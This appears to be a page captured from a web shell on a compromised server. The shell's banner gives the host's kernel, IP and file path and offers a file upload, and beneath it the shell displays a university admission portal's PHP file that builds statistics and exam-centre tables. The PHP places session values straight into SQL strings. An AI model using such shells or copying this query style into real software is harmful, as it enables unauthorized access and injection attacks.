0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.191.84.179


Current Path : /var/www/html/rcub/src/
Upload File :
Current File : /var/www/html/rcub/src/getMessages25.11.2020.php

<?php

function getMessages($aobj_context){

    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
    $query = "select ffadm, ffexapp, ffval, ffrv, ffgen, ffcntr,ffpgcntr, ffqpmsg,fcollcode,
    fpredeggrp, fdurdeggrp, fpostdeggrp
    from control";
    $enable_flags = $aobj_context->mobj_db->GetRow($query);
    $messages = array();
    // var_dump($query);
    // {$_SESSION['FCOLLCODE']}
    session_start();
    // var_dump($_SESSION['collcode']);
    $_SESSION['FCOLLCODE'] = $_SESSION['collcode'];

    if($enable_flags['ffadm'] == 'T')
    {
        $query =  "SELECT c.fdegree, a.fdescpn AS fdescpn, COUNT(c.fmobileno) AS fcount, 
		SUM(IF(IFNULL(c.factive,'') = 'T',1,0)) AS factive,IFNULL(fentered,0) AS fentered, 
		IFNULL(finsubdone,0) AS ffinsubdone, IFNULL(fackdone,0) AS fackdone, 
		ifnull(fackpending,0) as   fackpending
		FROM collstud c 
		LEFT JOIN 
		(SELECT COUNT(fappno) AS fentered, fcollcode, fdegree 
		FROM studadm 
		WHERE fcollcode = '{$_SESSION['FCOLLCODE']}'  and ifnull(fdeleted,'') <> 'T'
		GROUP BY fdegree) d ON c.fcollcode = d.fcollcode 
		AND c.fdegree = d.fdegree 
		LEFT JOIN 
		(SELECT COUNT(fappno) AS finsubdone, fcollcode, fdegree 
		FROM studadm 
		WHERE fcollcode = '{$_SESSION['FCOLLCODE']}' AND IFNULL(fpaystatus,'') = 'success'  and ifnull(fdeleted,'') <> 'T'
		GROUP BY fdegree) e ON c.fcollcode = e.fcollcode 
		AND c.fdegree = e.fdegree 
		LEFT JOIN 
		(SELECT IFNULL(COUNT(fappno),0) AS fackdone, fcollcode, fdegree 
		FROM studadm WHERE fcollcode = '{$_SESSION['FCOLLCODE']}' AND IFNULL(fpaystatus,'') = 'success' 
		AND IFNULL(fappstatus,'') = 'verified' and ifnull(fdeleted,'') <> 'T'
		GROUP BY fdegree) f ON c.fcollcode = f.fcollcode AND c.fdegree = f.fdegree 
		LEFT JOIN 
		(SELECT IFNULL(COUNT(fappno),0) AS fackpending, fcollcode, fdegree 
		FROM studadm WHERE fcollcode = '{$_SESSION['FCOLLCODE']}' AND IFNULL(fpaystatus,'') = 'success' 
		AND IFNULL(fappstatus,'') <> 'verified' and ifnull(fdeleted,'') <> 'T'
		GROUP BY fdegree) x ON c.fcollcode = x.fcollcode AND c.fdegree = x.fdegree 
		INNER JOIN degree a ON c.fdegree = a.fdegree AND a.fexamno = 'A' 
		WHERE c.fcollcode = '{$_SESSION['FCOLLCODE']}' 
		and ifnull(c.fdeleted,'') <> 'T' 
		GROUP BY c.fcollcode, c.fdegree";

        $lobj_messages = $aobj_context->mobj_db->GetAll($query);

        $admmsg1 = '<div style="text-align: center">
                        <h2>Admission Statistics</h2>
                    </div>
                    <hr style="border:1px solid #16a085;">
                <table style="margin-left:2px;text-align: left;width: 100%"  border="1" cellpadding="10" cellspacing="0" >
                    <thead>
                        <tr style = "background-color:#8acc51">
                            <th width="25" align="center"><b>Sl. No.</b></th>
                            <th width="40" align="center"><b>Degree Code</b></th>
                            <th width="150" align="left"><b>Degree Name</b></th>
                            <th width="70" align="center"><b>No. of Students</b></th>
                            <th width="60" align="center"><b>Students Registered</b></th>
                            <th width="60" align="center"><b>Adm. Uploaded</b></th>
                            <th width="60" align="center"><b>Adm. Pending</b></th>
                            <th width="60" align="center"><b>Ack. Done</b></th>
                            <th width="60" align="center"><b>Ack. Pending</b></th>
                        </tr>
                    </thead><tbody>';
        $slno = 1;
        foreach ($lobj_messages as $key => $value) 
        {
            $stdcnt = $value['fcount'] + $value['fenterednb'];

            $ackpending = $value['fcount'] - $value['fackdone'];
			$admpending = $value['fcount'] - $value['ffinsubdone'];

            $admmsg1 .= "<tr>
                <th width='25' align='center'><b>{$slno}</b></th>
                <th width='40' align='center'><b>{$value['fdegree']}</b></th>
                <th width='150' align='left'><b>{$value['fdescpn']}</b></th>
                <th width='70' align='center'><b>{$value['fcount']}</b></th>
                <th width='60' align='center'><b>{$value['factive']}</b></th>
                <th width='60' align='center'><b>{$value['ffinsubdone']}</b></th>
                <th width='60' align='center'><b>{$admpending}</b></th>
                <th width='60' align='center'><b>{$value['fackdone']}</b></th>
                <th width='60' align='center'><b>{$ackpending}</b></th>
            </tr>";
            $slno++;
        }
        
        $admmsg1 .= '</tbody>
        </table>';
        $messages[] = $admmsg1;
    }

    if($enable_flags['fcollcode'] == 'T')
    {
        // select fcollcode, fansreceive, fanssent from college where ifnull(fqpmsgshow,'') = 'T' and fcollcode = '6001'
        $query = "select fcollcode, fmessage 
        from college where fcollcode = '{$_SESSION['FCOLLCODE']}'";
        $results  = $aobj_context->mobj_db->GetRow($query);

        $qpmsg1 = '<div style="text-align: center">
                        <h2>'.$results['fmessage'].'</h2>
                    </div>
                    <hr style="border:1px solid #16a085;">';

        //$qpmsg1 .= "<p>".$results['fmessage']."</p>";
        if(count($results) > 0)
            $messages[] = $qpmsg1;
    }

    if($enable_flags['ffgen'] == 'T')
    {
        $query = "SELECT  message FROM message_board 
        where current_date() between display_from
        and display_to and college_code = 'flash'";
        $lobj_messages = $aobj_context->mobj_db->GetAll($query);
        foreach($lobj_messages as $k => $v)
        {
            $messages[] = $v['message'];
        }
    }

    if($enable_flags['ffqpmsg'] == 'T')
    {
        $qpmsg1 = '<div style="text-align: center">
                        <h2>Information on collecting Question Papers from University</h2>
                    </div>
                    <hr style="border:1px solid #16a085;">';
        // select fcollcode, fansreceive, fanssent from college where ifnull(fqpmsgshow,'') = 'T' and fcollcode = '6001'
        $query = "select fcollcode, fansreceive, fanssent 
        from college where ifnull(fqpmsgshow,'') = 'T' and fcollcode = '{$_SESSION['FCOLLCODE']}'";
        $results  = $aobj_context->mobj_db->GetRow($query);

        $qpmsg1 .= "<p>".$results['fansreceive']."</p>";

        $qpmsg1 .= "<div style='text-align: center'>
        <h2>Information on sending Written Answer Booklets to University</h2>
        </div>
            <hr style='border:1px solid #16a085;'>";
        
        $qpmsg1 .= "<p>".$results['fanssent']."</p>";
        if(count($results) > 0)
            $messages[] = $qpmsg1;
    }

    if($enable_flags['ffcntr'] == 'T')
    {
        $query = "select * from deggrp where fdeggrp = '{$enable_flags['fdurdeggrp']}'";
        $resdeggrp  = $aobj_context->mobj_db->GetRow($query);

        $year = $resdeggrp['fyear'];
        $type = $resdeggrp['fexamtype'];

        $deggrp = $resdeggrp['fdescpn'];

        $query = "select c.fcollcode, concat(fcollname, ', ',ftown) as fcollname, 
        fmobile, ifnull(fexamcodet,'F') as fthcntr from degcntr d inner join college c  
        on d.fcollcode = c.fcollcode
        where c.fcollcode = '{$_SESSION['FCOLLCODE']}' 
        and fyear = '{$year}' and fexamtype = '{$type}' and fdeggrp = '{$enable_flags['fdurdeggrp']}'";
        $results  = $aobj_context->mobj_db->GetRow($query);
        // var_dump($query);
        // var_dump($_SESSION);
        if(count($results) > 0)
        {
            $cntr = $results['fthcntr'];
            $flag = 'T';
            $table = '';
            if($cntr != 'F')
            {    
                $table .= "
                <h2>{$deggrp} Theory Center Details</h2>";

                if($results['fthcntr'] == $results['fcollcode'])
                {
                    $flag = 'C';	
                    $table .= '<table style="margin-left:2px;text-align: left;width: 100%"  border="1" cellpadding="10" cellspacing="0" >
                        <thead>
                            <tr style = "background-color:#8acc51">
                                <th  align="center" colspan="3"><b>Examination Center</b></th>
                            </tr>
                        </thead>
                    <tbody>
                    <tr>
                        <td width="10%" align="left"><b>'.$results['fcollcode'].'</b></td>
                        <td width="70%" align="left"><b>'.$results['fcollname'].'</b></td>
                        <td width="20%" align="left"><b>'.$results['fmobile'].'</b></td>
                    </tr></tbody></table>';	

                    $query = "select c.fcollcode, concat(c.fcollname, ', ',ftown) as fcollname, 
                    fmobile,fexamcodet from degcntr d inner join college c on d.fcollcode = c.fcollcode 
                    where fexamcodet = '{$_SESSION['FCOLLCODE']}' and d.fcollcode <> fexamcodet
                    and fyear = '{$year}' and fexamtype = '{$type}' and fdeggrp = '{$enable_flags['fdurdeggrp']}'";
                    $results  = $aobj_context->mobj_db->GetAll($query);

                    $tag_no = count($results);


                    $table .= '<br><br>
                    <table style="margin-left:2px;text-align: left;width: 100%"  border="1" cellpadding="10" cellspacing="0" >
                    <thead>
                        <tr style = "background-color:#8acc51">
                            <th  align="center" colspan="3"><b>'.$tag_no.' Tagged Colleges</b></th>
                        </tr>
                    </thead><tbody>';

                    foreach ($results as $key => $value) 
                    {
                        
                        $table .= '<tr>
                            <td width="10%" align="left"><b>'.$value['fcollcode'].'</b></td>
                            <td width="70%" align="left"><b>'.$value['fcollname'].'</b></td>
                            <td width="20%" align="left"><b>'.$value['fmobile'].'</b></td>
                            </tr>';
                    }
                    $table .= '</tbody></table>';
                }
                else
                {
                    $query = "select distinct fcollcode, concat(fcollname, ', ',ftown) as fcollname, fmobile,fthcntr from college where fcollcode = '{$cntr}'";
                    // var_dump($query);
                    $results  = $aobj_context->mobj_db->GetRow($query);
                    
                    $table .= '<table style="margin-left:2px;text-align: left;width: 100%"  border="1" cellpadding="10" cellspacing="0" >
                        <thead>
                            <tr style = "background-color:#8acc51">
                                <th  align="center" colspan="3"><b>Examination Center</b></th>
                            </tr>
                        </thead>
                    <tbody>
                    <tr>
                        <td width="10%" align="left"><b>'.$results['fcollcode'].'</b></td>
                        <td width="70%" align="left"><b>'.$results['fcollname'].'</b></td>
                        <td width="20%" align="left"><b>'.$results['fmobile'].'</b></td>
                    </tr></tbody></table>';	
                }	


                // $table .="<br><span class='remodal-cancel' onclick='admcollegesum(\"".$flag."\")'>Continue</span>";
                
                // $lobj_messages.push($table);
                $messages[] = $table;
            }
        }    
    }

    

    echo $aobj_context->mobj_output->ToJSONEnvelope($messages); 
}

?>